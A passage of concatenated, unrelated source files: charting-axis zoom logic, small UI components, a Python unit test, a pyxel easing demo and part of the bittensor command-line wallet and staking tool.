return tick.templateContainer;
}).filter(item => isDefined(item));
} else {
return [];
}
},
setCustomVisualRange(range) {
this._options._customVisualRange = range;
},
// API
visualRange() {
const that = this;
const args = arguments;
let visualRange;
if(args.length === 0) {
const adjustedRange = that._getAdjustedBusinessRange();
let startValue = adjustedRange.minVisible;
let endValue = adjustedRange.maxVisible;
if(that._options.type === constants.discrete) {
startValue = startValue ?? adjustedRange.categories[0];
endValue = endValue ?? adjustedRange.categories[adjustedRange.categories.length - 1];
return {
startValue,
endValue,
categories: getCategoriesInfo(adjustedRange.categories, startValue, endValue).categories
};
}
return {
startValue,
endValue
};
} else if(_isArray(args[0])) {
visualRange = args[0];
} else if(isPlainObject(args[0])) {
visualRange = extend({}, args[0]);
} else {
visualRange = [args[0], args[1]];
}
const zoomResults = that.handleZooming(visualRange, args[1]);
if(!zoomResults.isPrevented) {
that._visualRange(that, zoomResults);
}
},
handleZooming(visualRange, preventEvents, domEvent, action) {
const that = this;
preventEvents = preventEvents || {};
if(isDefined(visualRange)) {
visualRange = that._validateVisualRange(visualRange);
visualRange.action = action;
}
const zoomStartEvent = that.getZoomStartEventArg(domEvent, action);
const previousRange = zoomStartEvent.range;
!preventEvents.start && that._eventTrigger('zoomStart', zoomStartEvent);
const zoomResults = {
isPrevented: zoomStartEvent.cancel,
skipEventRising: preventEvents.skipEventRising,
range: visualRange || zoomStartEvent.range
};
if(!zoomStartEvent.cancel) {
isDefined(visualRange) && that._applyZooming(visualRange, preventEvents.allowPartialUpdate);
if(!isDefined(that._storedZoomEndParams)) {
that._storedZoomEndParams = {
startRange: previousRange,
type: this.getOptions().type
};
}
that._storedZoomEndParams.event = domEvent;
that._storedZoomEndParams.action = action;
that._storedZoomEndParams.prevent = !!preventEvents.end;
}
return zoomResults;
},
handleZoomEnd() {
const that = this;
if(isDefined(that._storedZoomEndParams) && !that._storedZoomEndParams.prevent) {
const previousRange = that._storedZoomEndParams.startRange;
const domEvent = that._storedZoomEndParams.event;
const action = that._storedZoomEndParams.action;
const previousBusinessRange = {
minVisible: previousRange.startValue,
maxVisible: previousRange.endValue,
categories: previousRange.categories
};
const typeIsNotChanged = that.getOptions().type === that._storedZoomEndParams.type;
const shift = typeIsNotChanged ? adjust(that.getVisualRangeCenter() - that.getVisualRangeCenter(previousBusinessRange, false)) : NaN;
const zoomFactor = typeIsNotChanged ?
+(Math.round(that.getVisualRangeLength(previousBusinessRange) / (that.getVisualRangeLength() || 1) + 'e+2') + 'e-2') : NaN;
const zoomEndEvent = that._getZoomEndEventArg(previousRange, domEvent, action, zoomFactor, shift);
zoomEndEvent.cancel = that.checkZoomingLowerLimitOvercome(zoomFactor === 1 ? 'pan' : 'zoom', zoomFactor).stopInteraction;
that._eventTrigger('zoomEnd', zoomEndEvent);
if(zoomEndEvent.cancel) {
that._restorePreviousVisualRange(previousRange);
}
that._storedZoomEndParams = null;
}
},
_restorePreviousVisualRange(previousRange) {
const that = this;
that._storedZoomEndParams = null;
that._applyZooming(previousRange);
that._visualRange(that, previousRange);
},
checkZoomingLowerLimitOvercome(actionType, zoomFactor, range) {
const that = this;
const options = that._options;
const translator = that._translator;
let minZoom = options.minVisualRangeLength;
let correctedRange = range;
let visualRange;
let isOvercoming = actionType === 'zoom' && zoomFactor >= 1;
const businessRange = translator.getBusinessRange();
if(range) {
visualRange = that.adjustRange(getVizRangeObject(range));
visualRange = {
minVisible: visualRange.startValue,
maxVisible: visualRange.endValue,
categories: businessRange.categories
};
}
const beforeVisualRangeLength = that.getVisualRangeLength(businessRange);
const afterVisualRangeLength = that.getVisualRangeLength(visualRange);
if(isDefined(minZoom) || options.type === 'discrete') {
minZoom = translator.convert(minZoom);
if(visualRange && (minZoom < beforeVisualRangeLength) && (minZoom >= afterVisualRangeLength)) {
correctedRange = getVizRangeObject(translator.getRangeByMinZoomValue(minZoom, visualRange));
isOvercoming = false;
} else {
isOvercoming &= minZoom > afterVisualRangeLength;
}
} else {
const canvasLength = that._translator.canvasLength;
const fullRange = {
minVisible: businessRange.min,
maxVisible: businessRange.max,
categories: businessRange.categories
};
isOvercoming &= that.getVisualRangeLength(fullRange) / canvasLength >= afterVisualRangeLength;
}
return { stopInteraction: !!isOvercoming, correctedRange: correctedRange };
},
isExtremePosition(isMax) {
let extremeDataValue;
let seriesData;
if(this._options.type === 'discrete') {
seriesData = this._translator.getBusinessRange();
extremeDataValue = isMax ? seriesData.categories[seriesData.categories.length - 1] : seriesData.categories[0];
} else {
seriesData = this.getZoomBounds(); // T702708
extremeDataValue = isMax ? seriesData.endValue : seriesData.startValue;
}
const translator = this.getTranslator();
const extremePoint = translator.translate(extremeDataValue);
const visualRange = this.visualRange();
const visualRangePoint = isMax ? translator.translate(visualRange.endValue) : translator.translate(visualRange.startValue);
return _abs(visualRangePoint - extremePoint) < SCROLL_THRESHOLD;
},
getViewport() {
return this._viewport;
},
getFullTicks: function() {
const majors = this._majorTicks || [];
if(this._options.type === constants.discrete) {
return convertTicksToValues(majors);
} else {
return convertTicksToValues(majors.concat(this._minorTicks, this._boundaryTicks))
.sort(function(a, b) {
return valueOf(a) - valueOf(b);
});
}
},
measureLabels: function(canvas, withIndents) {
const that = this;
const options = that._options;
const widthAxis = options.visible ? options.width : 0;
let ticks;
const indent = withIndents ? options.label.indentFromAxis + (options.tick.length * 0.5) : 0;
let tickInterval;
const viewportRange = that._getViewportRange();
if(viewportRange.isEmpty() || !options.label.visible || !that._axisElementsGroup) {
return { height: widthAxis, width: widthAxis, x: 0, y: 0 };
}
if(that._majorTicks) {
ticks = convertTicksToValues(that._majorTicks);
} else {
that.updateCanvas(canvas);
ticks = that._createTicksAndLabelFormat(viewportRange, _noop);
tickInterval = ticks.tickInterval;
ticks = ticks.ticks;
}
const maxText = ticks.reduce(function(prevLabel, tick, index) {
const label = that.formatLabel(tick, options.label, viewportRange, undefined, tickInterval, ticks);
if(prevLabel.length < label.length) {
return label;
} else {
return prevLabel;
}
}, that.formatLabel(ticks[0], options.label, viewportRange, undefined, tickInterval, ticks));
const text = that._renderer.text(maxText, 0, 0).css(that._textFontStyles).attr(that._textOptions).append(that._renderer.root);
const box = text.getBBox();
text.remove();
return { x: box.x, y: box.y, width: box.width + indent, height: box.height + indent };
},
_setLabelsPlacement: function() {
if(!this._options.label.visible) {
return;
}
const that = this;
const labelOpt = that._options.label;
const displayMode = that._validateDisplayMode(labelOpt.displayMode);
const overlappingMode = that._validateOverlappingMode(labelOpt.overlappingBehavior, displayMode);
const ignoreOverlapping = overlappingMode === 'none' || overlappingMode === 'ignore';
const behavior = {
rotationAngle: labelOpt.rotationAngle,
staggeringSpacing: labelOpt.staggeringSpacing
};
let notRecastStep;
const boxes = that._majorTicks.map(function(tick) { return tick.labelBBox; });
let step = that._getStep(boxes);
switch(displayMode) {
case ROTATE:
if(ignoreOverlapping) {
notRecastStep = true;
step = 1;
}
that._applyLabelMode(displayMode, step, boxes, labelOpt, notRecastStep);
break;
case 'stagger':
if(ignoreOverlapping) {
step = 2;
}
that._applyLabelMode(displayMode, _max(step, 2), boxes, labelOpt);
break;
default:
that._applyLabelOverlapping(boxes, overlappingMode, step, behavior);
}
},
_applyLabelOverlapping: function(boxes, mode, step, behavior) {
const that = this;
const labelOpt = that._options.label;
const majorTicks = that._majorTicks;
if(mode === 'none' || mode === 'ignore') {
return;
}
const checkLabels = function(box, index, array) {
if(index === 0) {
return false;
}
return constants.areLabelsOverlap(box, array[index - 1], labelOpt.minSpacing, labelOpt.alignment);
};
if(step > 1 && boxes.some(checkLabels)) {
that._applyLabelMode(mode, step, boxes, behavior);
}
that._checkBoundedLabelsOverlapping(majorTicks, boxes, mode);
that._checkShiftedLabels(majorTicks, boxes, labelOpt.minSpacing, labelOpt.alignment);
},
_applyLabelMode: function(mode, step, boxes, behavior, notRecastStep) {
const that = this;
const majorTicks = that._majorTicks;
const labelOpt = that._options.label;
const angle = behavior.rotationAngle;
let labelHeight;
let alignment;
let func;
switch(mode) {
case ROTATE:
if(!labelOpt.userAlignment) {
alignment = angle < 0 ? RIGHT : LEFT;
if(angle % 90 === 0) {
alignment = CENTER;
}
}
step = notRecastStep ? step : that._getStep(boxes, angle);
func = function(tick) {
const contentContainer = tick.getContentContainer();
if(!contentContainer) {
return;
}
contentContainer.rotate(angle);
tick.labelRotationAngle = angle;
alignment && (tick.labelAlignment = alignment);
};
updateLabels(majorTicks, step, func);
break;
case 'stagger':
labelHeight = that._getMaxLabelHeight(boxes, behavior.staggeringSpacing);
func = function(tick, index) {
if((index / (step - 1)) % 2 !== 0) {
tick.labelOffset = labelHeight;
}
};
updateLabels(majorTicks, step - 1, func);
break;
case 'auto':
case '_auto':
if(step === 2) {
that._applyLabelMode('stagger', step, boxes, behavior);
} else {
that._applyLabelMode(ROTATE, step, boxes, { rotationAngle: getOptimalAngle(boxes, labelOpt) });
}
break;
default:
updateLabels(majorTicks, step);
break;
}
},
getMarkerTrackers: _noop,
_drawDateMarkers: _noop,
_adjustDateMarkers: _noop,
coordsIn: _noop,
areCoordsOutsideAxis: _noop,
_getSkippedCategory: _noop,
_initAxisPositions: _noop,
_drawTitle: _noop,
_updateTitleCoords: _noop,
_adjustConstantLineLabels: _noop,
_createTranslator: function() {
return new Translator2D({}, {}, {});
},
_updateTranslator: function() {
const translator = this._translator;
translator.update(translator.getBusinessRange(), this._canvas || {}, this._getTranslatorOptions());
},
_getTranslatorOptions: function() {
const options = this._options;
return {
isHorizontal: this._isHorizontal,
shiftZeroValue: !this.isArgumentAxis,
interval: options.semiDiscreteInterval,
firstDayOfWeek: options.workWeek?.[0],
stick: this._getStick(),
breaksSize: options.breakStyle?.width ?? 0
};
},
getVisibleArea() {
const canvas = this._getCanvasStartEnd();
return [canvas.start, canvas.end].sort((a, b) => a - b);
},
_getCanvasStartEnd: function() {
const isHorizontal = this._isHorizontal;
const canvas = this._canvas || {};
const invert = this._translator.getBusinessRange().invert;
const coords = isHorizontal ? [canvas.left, canvas.width - canvas.right] : [canvas.height - canvas.bottom, canvas.top];
invert && coords.reverse();
return {
start: coords[0],
end: coords[1]
};
},
_getScreenDelta: function() {
const that = this;
const canvas = that._getCanvasStartEnd();
const breaks = that._seriesData ? that._seriesData.breaks || [] : [];
const breaksLength = breaks.length;
const screenDelta = _abs(canvas.start - canvas.end);
return screenDelta - (breaksLength ? breaks[breaksLength - 1].cumulativeWidth : 0);
},
_getScaleBreaks: function() { return []; },
_filterBreaks: function() { return []; },
_adjustTitle: _noop,
_checkTitleOverflow: _noop,
getSpiderTicks: _noop,
setSpiderTicks: _noop,
_checkBoundedLabelsOverlapping: _noop,
_checkShiftedLabels: _noop,
drawScaleBreaks: _noop,
_visualRange: _noop,
_rotateConstantLine: _noop,
applyVisualRangeSetter(visualRangeSetter) {
this._visualRange = visualRangeSetter;
},
// T642779, T714928, T810801
getCategoriesSorter(argCategories) {
let sort;
if(this.isArgumentAxis) {
sort = argCategories;
} else {
const categoriesSortingMethod = this._options.categoriesSortingMethod;
sort = categoriesSortingMethod ?? this._options.categories;
}
return sort;
},
_getAdjustedBusinessRange() {
return this.adjustViewport(this._translator.getBusinessRange());
},
///#DEBUG
_getTickMarkPoints: _noop,
_validateOverlappingMode: _noop,
_getStep: _noop,
_validateDisplayMode: _noop,
shift: _noop
///#ENDDEBUG
};
|
// components/Tabs/Tabs.js
Component({
/**
* 组件的属性列表
*/
properties: {
tabs: {
type: Array,
value: []
}
},
/**
* 组件的初始数据
*/
data: {
},
/**
* 组件的方法列表
*/
methods: {
handleItemTap(e) {
//获取点击的索引
const { index } = e.currentTarget.dataset;
//触发 父组件中的事件 自定义
this.triggerEvent("tabsItemChange", { index });
}
}
})
|
from __future__ import absolute_import
import unittest
import os
import shutil
from .counter import Counter
class CounterTestCase(unittest.TestCase):
def test_simple(self):
c = Counter('Test')
c.register('a')
c.register('b')
c.inc('a')
self.assertEqual(c['a'], ['a', 1])
self.assertEqual(c['b'], ['b', 0])
c.inc('a')
self.assertEqual(c['a'], ['a', 2])
def test_add(self):
c = Counter('Test')
c.register('a')
c.register('b')
c.inc('a')
d = Counter('Test')
d.register('a')
d.register('b')
d.inc('a')
d.inc('b')
d += c
self.assertEqual(d['a'], ['a', 2])
self.assertEqual(d['b'], ['b', 1])
def test_bad_add(self):
c = Counter('Test')
c.register('a')
c.register('b')
c.inc('a')
d = Counter('Test')
d.register('b')
self.assertRaises(ValueError, d.__iadd__, c)
def test_write(self):
c = Counter('Test')
c.register('a')
c.register('b')
c.inc('a')
dirname = 'test_dir'
if os.path.exists(dirname):
shutil.rmtree(dirname)
os.mkdir(dirname)
c.write(dirname)
shutil.rmtree(dirname)
if __name__ == '__main__':
unittest.main()
|
/*
* Process for meetings. Set dates
* [email protected]
* 2013003
*
*/
(function($) {
Drupal.behaviors.MeetingProcess = {
attach: function(context, settings) {
$('#edit-field-meeting-date-und-0-value-datepicker-popup-0', context).change(function() {
// 21 Mar 2013 format
var meetingDate = $(this).val();
var cutOffDate = new Date(meetingDate);
cutOffDate.setDate(cutOffDate.getDate()-2);
var m_names = new Array("Jan", "Feb", "Mar",
"Apr", "May", "Jun", "Jul", "Aug", "Sep",
"Oct", "Nov", "Dec");
var month = m_names[cutOffDate.getMonth()];
var formattedMonth = cutOffDate.getDate() + ' ' + month + ' ' + cutOffDate.getFullYear();
$('#edit-field-submission-cutoff-und-0-value-datepicker-popup-0', context).val(formattedMonth);
});
}
}
})(jQuery);
|
var React = require('react');
var defaultState = { image: undefined, status: 'loading' };
module.exports = function useImage(url, crossOrigin) {
var res = React.useState(defaultState);
var image = res[0].image;
var status = res[0].status;
var setState = res[1];
React.useEffect(
function() {
if (!url) return;
const img = document.createElement('img');
function onload() {
setState({ image: img, status: 'loaded' });
}
function onerror() {
setState({ image: undefined, status: 'failed' });
}
img.addEventListener('load', onload);
img.addEventListener('error', onerror);
crossOrigin && (img.crossOrigin = crossOrigin);
img.src = url;
return function cleanup() {
img.removeEventListener('load', onload);
img.removeEventListener('error', onerror);
setState(defaultState);
};
},
[url, crossOrigin]
);
// return array because it it better to use in case of several useImage hooks
// const [background, backgroundStatus] = useImage(url1);
// const [patter] = useImage(url2);
return [image, status];
};
|
with open('input.txt', "r+") as file:
contents = file.read()
entries = list(filter(lambda x: x != '', contents.split('\n')))
numbers = list(map(lambda x: int(x), entries))
shouldLeave = False
for i in numbers:
for j in numbers:
if (i + j) == 2020:
print('Answer is:', i * j)
shouldLeave = True
break
if shouldLeave == True: break
|
export const isEmpty = value => (value === undefined || value === null || value === '');
export const isNotEmpty = value => !isEmpty(value);
|
import pyxel
# Bookerクラス:値の変化を予約する
# イベント登録時:update()内でBooker.add()を使う
# Booker.add(対象インスタンス(obj), の変数名(str), 変化させたい量(int),
# 変化開始時間(単位フレーム後開始)(int), 変化に要する時間(0<int), イージング(str))
# イージングはCubicなベジェ曲線を使用(カスタマイズ可)、デフォルトは'linear'
# イベント出力時:Booker.do()をBooker.add()より後ろに記述し、毎フレーム実行する
# 配布元:https://github.com/namosuke/pyxel_class_booker
class Booker:
books = []
fr = 0
@classmethod
def add(cls, obj, key, value, start_time, end_time, easing = 'linear'):
cls.books.append([
cls.fr + start_time,
end_time,
key,
value,
0, # 最後の差分
easing,
obj
])
@classmethod
def do(cls):
# 逆順にアクセス
for i in range(len(cls.books) - 1, -1, -1):
b = cls.books[i] # 予約情報
if b[0] <= cls.fr:
# イージング処理参考 http://nakamura001.hatenablog.com/entry/20111117/1321539246
if b[5] == 'linear':
diff = b[3] * (cls.fr - b[0]) / b[1]
elif b[5] == 'ease in':
t = (cls.fr - b[0]) / b[1]
diff = b[3] * t*t*t
elif b[5] == 'ease out':
t = (cls.fr - b[0]) / b[1]
t -= 1
diff = b[3] * (t*t*t + 1)
elif b[5] == 'ease in out':
t = (cls.fr - b[0]) / (b[1] / 2)
if t < 1:
diff = (b[3] / 2) * t*t*t
else:
t -= 2
diff = (b[3] / 2) * (t*t*t + 2)
# 小数誤差を無くすため、毎回整数値を反映させている
b[6].__dict__[b[2]] -= b[4]
b[6].__dict__[b[2]] += round(diff)
b[4] = round(diff)
if b[0] + b[1] <= cls.fr:
del cls.books[i]
cls.fr += 1
class App:
def __init__(self):
pyxel.init(200, 160)
pyxel.mouse(True)
self.flag = 1
self.x = self.y = 300
pyxel.run(self.update, self.draw)
def update(self):
if self.flag:
self.flag = 0
Booker.add(self, 'flag', 1, 80, 1)
self.ball1 = self.ball2 = self.ball3 = self.ball4 = 20
Booker.add(self, 'ball1', 160, 10, 60)
Booker.add(self, 'ball2', 160, 10, 60, 'ease in')
Booker.add(self, 'ball3', 160, 10, 60, 'ease out')
Booker.add(self, 'ball4', 160, 10, 60, 'ease in out')
self.x = self.y = 0
Booker.add(self, 'x', pyxel.mouse_x, 5, 1)
Booker.add(self, 'y', pyxel.mouse_y, 5, 1)
Booker.do()
def draw(self):
pyxel.cls(7)
pyxel.text(10, 10, 'linear: ' + str(self.ball1), 0)
pyxel.circ(self.ball1, 25, 7, 8)
pyxel.text(10, 40, 'ease in: ' + str(self.ball2), 0)
pyxel.circ(self.ball2, 55, 7, 6)
pyxel.text(10, 70, 'ease out: ' + str(self.ball3), 0)
pyxel.circ(self.ball3, 85, 7, 10)
pyxel.text(10, 100, 'ease in out: ' + str(self.ball4), 0)
pyxel.circ(self.ball4, 115, 7, 11)
pyxel.circ(self.x, self.y, 4, 14)
App() |
from .stop_departure_row import StopDeparture
from .stop_departure_list import StopDepartureList
|
"use strict";
function init() {
let sentence = "hello rob nice my name is timothy smith coy zoo".split(' ');
let dictionary = new Dictionary();
let factory = new PhonemeFactory();
let renderer = new Renderer();
// renderer.drawSentence(sentence, dictionary, factory);
let tc = new Consonant('b');
let tv = new Vowel('a');
let words = [];
for (let i in tc.sounds) {
for (let j in tv.sounds) {
if (i === j) {
continue;
}
words.push({
phonemes: factory.buildPhoneme(i + ':' + j)
});
}
}
console.log(words);
renderer.drawSentence(words);
console.log(sentence);
}
document.addEventListener("DOMContentLoaded", function() {
init();
}); |
var searchData=
[
['value_676',['value',['../structdaw_1_1json_1_1_json_event_parser_stack_value.html#a3205b5a09330d922073dd668b466d6e6',1,'daw::json::JsonEventParserStackValue::value()'],['../structdaw_1_1json_1_1basic__json__pair.html#ac0b44f3c64e79a3e5a89151748ab5808',1,'daw::json::basic_json_pair::value()']]]
];
|
# The MIT License (MIT)
# Copyright © 2021 Yuma Rao
# Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated
# documentation files (the “Software”), to deal in the Software without restriction, including without limitation
# the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software,
# and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
# The above copyright notice and this permission notice shall be included in all copies or substantial portions of
# the Software.
# THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO
# THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
# DEALINGS IN THE SOFTWARE.
import bittensor
import os
import sys
from rich.tree import Tree
from rich import print
from tqdm import tqdm
from rich.table import Table
from rich.prompt import Confirm
from bittensor.utils.balance import Balance
class CLI:
"""
Implementation of the CLI class, which handles the coldkey, hotkey and money transfer
"""
def __init__(self, config: 'bittensor.Config' ):
r""" Initialized a bittensor.CLI object.
Args:
config (:obj:`bittensor.Config`, `required`):
bittensor.cli.config()
"""
self.config = config
def run ( self ):
""" Execute the command from config
"""
if self.config.command == "run":
self.run_miner ()
elif self.config.command == "transfer":
self.transfer ()
elif self.config.command == "register":
self.register()
elif self.config.command == "unstake":
self.unstake()
elif self.config.command == "stake":
self.stake()
elif self.config.command == "overview":
self.overview()
elif self.config.command == "list":
self.list()
elif self.config.command == "new_coldkey":
self.create_new_coldkey()
elif self.config.command == "new_hotkey":
self.create_new_hotkey()
elif self.config.command == "regen_coldkey":
self.regen_coldkey()
elif self.config.command == "regen_hotkey":
self.regen_hotkey()
elif self.config.command == "metagraph":
self.metagraph()
elif self.config.command == "weights":
self.weights()
elif self.config.command == "set_weights":
self.set_weights()
elif self.config.command == "inspect":
self.inspect()
def create_new_coldkey ( self ):
r""" Creates a new coldkey under this wallet.
"""
wallet = bittensor.wallet(config = self.config)
wallet.create_new_coldkey( n_words = self.config.n_words, use_password = self.config.use_password, overwrite = False)
def create_new_hotkey ( self ):
r""" Creates a new hotke under this wallet.
"""
wallet = bittensor.wallet(config = self.config)
wallet.create_new_hotkey( n_words = self.config.n_words, use_password = self.config.use_password, overwrite = False)
def regen_coldkey ( self ):
r""" Creates a new coldkey under this wallet.
"""
wallet = bittensor.wallet(config = self.config)
wallet.regenerate_coldkey( mnemonic = self.config.mnemonic, use_password = self.config.use_password, overwrite = False )
def regen_hotkey ( self ):
r""" Creates a new coldkey under this wallet.
"""
wallet = bittensor.wallet(config = self.config)
wallet.regenerate_hotkey( mnemonic = self.config.mnemonic, use_password = self.config.use_password, overwrite = False)
def inspect ( self ):
r""" Inspect a cold, hot pair.
"""
wallet = bittensor.wallet(config = self.config)
subtensor = bittensor.subtensor( config = self.config )
dendrite = bittensor.dendrite( wallet = wallet )
wallet.hotkey
wallet.coldkeypub
with bittensor.__console__.status(":satellite: Looking up account on: [white]{}[/white] ...".format(self.config.subtensor.network)):
neuron = subtensor.neuron_for_pubkey( ss58_hotkey = wallet.hotkey.ss58_address )
endpoint = bittensor.endpoint.from_neuron( neuron )
if neuron.is_null:
registered = '[bold white]No[/bold white]'
stake = bittensor.Balance.from_tao( 0 )
emission = bittensor.Balance.from_rao( 0 )
latency = 'N/A'
else:
registered = '[bold white]Yes[/bold white]'
stake = bittensor.Balance.from_tao( neuron.stake )
emission = bittensor.Balance.from_rao( neuron.emission * 1000000000 )
_, c, t = dendrite.forward_text( endpoints = endpoint, inputs = 'hello world')
latency = "{}".format(t.tolist()[0]) if c.tolist()[0] == 1 else 'N/A'
cold_balance = wallet.balance
bittensor.__console__.print("\n[bold white]{}[/bold white]:\n [bold grey]{}[bold white]{}[/bold white]\n {}[bold white]{}[/bold white]\n {}{}\n {}{}\n {}{}\n {}{}\n {}{}[/bold grey]".format( wallet, "coldkey:".ljust(15), wallet.coldkeypub.ss58_address, "hotkey:".ljust(15), wallet.hotkey.ss58_address, "registered:".ljust(15), registered, "balance:".ljust(15), cold_balance.__rich__(), "stake:".ljust(15), stake.__rich__(), "emission:".ljust(15), emission.__rich_rao__(), "latency:".ljust(15), latency ), highlight=True)
def run_miner ( self ):
self.config.to_defaults()
# Check coldkey.
wallet = bittensor.wallet( config = self.config )
if not wallet.coldkeypub_file.exists_on_device():
if Confirm.ask("Coldkey: [bold]'{}'[/bold] does not exist, do you want to create it".format(self.config.wallet.name)):
wallet.create_new_coldkey()
else:
sys.exit()
# Check hotkey.
if not wallet.hotkey_file.exists_on_device():
if Confirm.ask("Hotkey: [bold]'{}'[/bold] does not exist, do you want to create it".format(self.config.wallet.hotkey)):
wallet.create_new_hotkey()
else:
sys.exit()
if wallet.hotkey_file.is_encrypted():
bittensor.__console__.print("Decrypting hotkey ... ")
wallet.hotkey
if wallet.coldkeypub_file.is_encrypted():
bittensor.__console__.print("Decrypting coldkeypub ... ")
wallet.coldkeypub
# Check registration
self.register()
# Run miner.
if self.config.model == 'template_miner':
bittensor.neurons.template_miner.neuron().run()
elif self.config.model == 'template_server':
bittensor.neurons.template_server.neuron().run()
elif self.config.model == 'template_validator':
bittensor.neurons.template_validator.neuron().run()
elif self.config.model == 'advanced_server':
bittensor.neurons.advanced_server.neuron().run()
elif self.config.model == 'sgmoe_validator':
bittensor.neurons.sgmoe_validator.neuron().run()
def register( self ):
r""" Register neuron.
"""
wallet = bittensor.wallet( config = self.config )
subtensor = bittensor.subtensor( config = self.config )
subtensor.register( wallet = wallet, prompt = not self.config.no_prompt)
def transfer( self ):
r""" Transfer token of amount to destination.
"""
wallet = bittensor.wallet( config = self.config )
subtensor = bittensor.subtensor( config = self.config )
subtensor.transfer( wallet = wallet, dest = self.config.dest, amount = self.config.amount, wait_for_inclusion = True, prompt = not self.config.no_prompt )
def unstake( self ):
r""" Unstake token of amount from uid.
"""
wallet = bittensor.wallet( config = self.config )
subtensor = bittensor.subtensor( config = self.config )
subtensor.unstake( wallet, amount = None if self.config.unstake_all else self.config.amount, wait_for_inclusion = True, prompt = not self.config.no_prompt )
def stake( self ):
r""" Stake token of amount to uid.
"""
wallet = bittensor.wallet( config = self.config )
subtensor = bittensor.subtensor( config = self.config )
subtensor.add_stake( wallet, amount = None if self.config.stake_all else self.config.amount, wait_for_inclusion = True, prompt = not self.config.no_prompt )
def set_weights( self ):
r""" Set weights and uids on chain.
"""
wallet = bittensor.wallet( config = self.config )
subtensor = bittensor.subtensor( config = self.config )
subtensor.set_weights(
wallet,
uids = self.config.uids,
weights = self.config.weights,
wait_for_inclusion = True,
prompt = not self.config.no_prompt
)
def _get_hotkey_wallets_for_wallet( wallet ):
hotkey_wallets = []
hotkeys_path = wallet.path + '/' + wallet.name + '/hotkeys'
hotkey_files = next(os.walk(os.path.expanduser(hotkeys_path)))[2]
for hotkey_file_name in hotkey_files:
hotkey_wallets.append( bittensor.wallet( path = wallet.path, name = wallet.name, hotkey = hotkey_file_name ))
return hotkey_wallets
def list(self):
r""" Lists wallets.
"""
wallets = next(os.walk(os.path.expanduser(self.config.wallet.path)))[1]
root = Tree("Wallets")
for w_name in wallets:
wallet_for_name = bittensor.wallet( path = self.config.wallet.path, name = w_name)
try:
if wallet_for_name.coldkeypub_file.exists_on_device() and not wallet_for_name.coldkeypub_file.is_encrypted():
coldkeypub_str = wallet_for_name.coldkeypub.ss58_address
else:
coldkeypub_str = '?'
except:
coldkeypub_str = '?'
wallet_tree = root.add("\n[bold white]{} ({})".format(w_name, coldkeypub_str[:8]))
hotkeys_path = self.config.wallet.path + w_name + '/hotkeys'
try:
hotkeys = next(os.walk(os.path.expanduser(hotkeys_path)))
if len( hotkeys ) > 1:
for h_name in hotkeys[2]:
hotkey_for_name = bittensor.wallet( path = self.config.wallet.path, name = w_name, hotkey = h_name)
try:
if hotkey_for_name.hotkey_file.exists_on_device() and not hotkey_for_name.hotkey_file.is_encrypted():
hotkey_str = hotkey_for_name.hotkey.ss58_address
else:
hotkey_str = '?'
except:
hotkey_str = '?'
wallet_tree.add("[bold grey]{} ({})".format(h_name, hotkey_str[:8]))
except:
pass
print(root)
def metagraph(self):
r""" Prints an entire metagraph.
"""
console = bittensor.__console__
subtensor = bittensor.subtensor( config = self.config )
metagraph = bittensor.metagraph( subtensor = subtensor )
console.print(":satellite: Syncing with chain: [white]{}[/white] ...".format(self.config.subtensor.network))
metagraph.sync()
metagraph.save()
issuance = subtensor.total_issuance
difficulty = subtensor.difficulty
TABLE_DATA = []
total_stake = 0.0
total_rank = 0.0
total_trust = 0.0
total_consensus = 0.0
total_incentive = 0.0
total_dividends = 0.0
total_emission = 0
for uid in metagraph.uids:
ep = metagraph.endpoint_objs[uid]
row = [
str(ep.uid),
'{:.5f}'.format( metagraph.stake[uid]),
'{:.5f}'.format( metagraph.ranks[uid]),
'{:.5f}'.format( metagraph.trust[uid]),
'{:.5f}'.format( metagraph.consensus[uid]),
'{:.5f}'.format( metagraph.incentive[uid]),
'{:.5f}'.format( metagraph.dividends[uid]),
'{}'.format( int(metagraph.emission[uid] * 1000000000)),
str((metagraph.block.item() - metagraph.last_update[uid].item())),
str( metagraph.active[uid].item() ),
ep.ip + ':' + str(ep.port) if ep.is_serving else '[yellow]none[/yellow]',
ep.hotkey[:10],
ep.coldkey[:10]
]
total_stake += metagraph.stake[uid]
total_rank += metagraph.ranks[uid]
total_trust += metagraph.trust[uid]
total_consensus += metagraph.consensus[uid]
total_incentive += metagraph.incentive[uid]
total_dividends += metagraph.dividends[uid]
total_emission += int(metagraph.emission[uid] * 1000000000)
TABLE_DATA.append(row)
total_neurons = len(metagraph.uids)
table = Table(show_footer=False)
table.title = (
"[white]Metagraph: name: {}, block: {}, N: {}/{}, tau: {}/block, stake: {}, issuance: {}, difficulty: {}".format(subtensor.network, metagraph.block.item(), sum(metagraph.active.tolist()), metagraph.n.item(), bittensor.Balance.from_tao(metagraph.tau.item()), bittensor.Balance.from_tao(total_stake), issuance, difficulty )
)
table.add_column("[overline white]UID", str(total_neurons), footer_style = "overline white", style='yellow')
table.add_column("[overline white]STAKE(\u03C4)", '\u03C4{:.5f}'.format(total_stake), footer_style = "overline white", justify='right', style='green', no_wrap=True)
table.add_column("[overline white]RANK", '{:.5f}'.format(total_rank), footer_style = "overline white", justify='right', style='green', no_wrap=True)
table.add_column("[overline white]TRUST", '{:.5f}'.format(total_trust), footer_style = "overline white", justify='right', style='green', no_wrap=True)
table.add_column("[overline white]CONSENSUS", '{:.5f}'.format(total_consensus), footer_style = "overline white", justify='right', style='green', no_wrap=True)
table.add_column("[overline white]INCENTIVE", '{:.5f}'.format(total_incentive), footer_style = "overline white", justify='right', style='green', no_wrap=True)
table.add_column("[overline white]DIVIDENDS", '{:.5f}'.format(total_dividends), footer_style = "overline white", justify='right', style='green', no_wrap=True)
table.add_column("[overline white]EMISSION(\u03C1)", '\u03C1{}'.format(int(total_emission)), footer_style = "overline white", justify='right', style='green', no_wrap=True)
table.add_column("[overline white]UPDATED", justify='right', no_wrap=True)
table.add_column("[overline white]ACTIVE", justify='right', style='green', no_wrap=True)
